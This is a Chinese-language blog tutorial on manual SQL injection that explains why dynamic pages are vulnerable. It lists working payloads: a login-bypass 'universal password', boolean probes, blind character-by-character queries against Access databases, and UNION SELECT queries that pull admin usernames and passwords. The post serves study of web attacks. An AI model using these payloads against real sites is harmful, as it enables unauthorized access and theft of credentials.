前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >手工SQL注入语句构造

手工SQL注入语句构造

作者头像
TeamsSix
发布2019-09-24 14:09:15
1.6K0
发布2019-09-24 14:09:15
举报
文章被收录于专栏:TeamsSix的网络空间安全专栏

一提到SQL语句就想到了期末数据库考试的时候,那俩监考老师,哎,不说了,还好咱们数据库老师大发慈悲

昨天把去年学习的一些东西可以说重新复习了一边,又有了新的理解与感悟,记录如下:

1、为何会存在SQL注入漏洞

日常见到的网页存在静态动态之分,静态网页一般后缀为html或者htm,动态网页一般后缀为asp、aspx、php或者jsp.

静态网页不需要使用后台数据库,动态网页需要连接后台数据库,因此只有动态网页存在SQl注入漏洞,而静态网页不存在。

此时比如客户端想要查看ID为33的文章,这时假设发出请求链接为【http://www.test.com/test.php?id=33】

此链接被提交到脚本引擎,脚本引擎解析获取ID为33,由此构造SQL语句【select * from test where id = 33】

此语句被提交到数据库,之后数据库便返回查询到的数据。

知道原理后,我们就可以进行SQL语句的构造了。

2、万能密码的构造

i、首先了解到其后台查询SQL语句为【select user_id,user_type,emailfrom user where user_id='用户名'and '密码'】

ii、于是我们输入用户名【admin】和密码【2’or’1】时,脚本引擎构造SQL语句为【selectuser_id,user_type,email from user where user_id = 'admin' and '2' or '1'】

iii、由于SQL中【=】优先级高于【and】高于【or】,又因为布尔型【 or '1' 】恒成立,因此此式恒成立,因此成功进入后台界面

3、手工注入access数据库

i、判断是否存在SQL注入漏洞

输入【'】数据库出错,说明【'】被提交至了数据库进行解析

接着输入【and 1=1 】页面正常显示,输入【and 1=2 】页面报错,说明存在SQL注入漏洞

ii、知道存在SQL注入漏洞后就可以通过构造SQL查询语句判断后台数据库中存在的表、列、字段了

输入【and exists (select * from admin)】若正常显示,说明存在admin表

输入【and exists (select admin from admin)】若正常显示,说明存在admin列,同理,可以判断出来后台数据库中存在的表、列

输入【and (select top 1 len(admin) from admin)=5】若正常显示,说明admin表中admin列中第一个字段存在5个字符

输入【and(select top 1 asc(mid(admin,1,1)) from admin)=97】若正常显示,说明amdin表中admin列中第一个字段的第一个字目的ascii码为97,即这个字母为a.

同理,就可以得到后台数据库中存储的表、列、字段数据

iii、当然也可以直接使用现成的工具,比如这个:

4、手工联合查询注入

i、输入【order by 12】判断列中字段数量是否等于或小于12个字段,不断更改order by 后面的数字,判断出后台列中字段的数量

ii、输入【union select 1,2,3,4,5,6,7,8,9,10,11 from admin】联合查询爆出后台数据库中存在的字段名

iii、此时输入【union select 1,admin,password,4,5,6,7,8,9,10,11 from admin】即看到了admin表中测试列中的字段数据

—— 完 ——

本文参与 腾讯云自媒体同步曝光计划,分享自微信公众号。
原始发表:2018-07-07,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 TeamsSix 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
相关产品与服务
数据库
云数据库为企业提供了完善的关系型数据库、非关系型数据库、分析型数据库和数据库生态工具。您可以通过产品选择和组合搭建,轻松实现高可靠、高可用性、高性能等数据库需求。云数据库服务也可大幅减少您的运维工作量,更专注于业务发展,让企业一站式享受数据上云及分布式架构的技术红利!
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档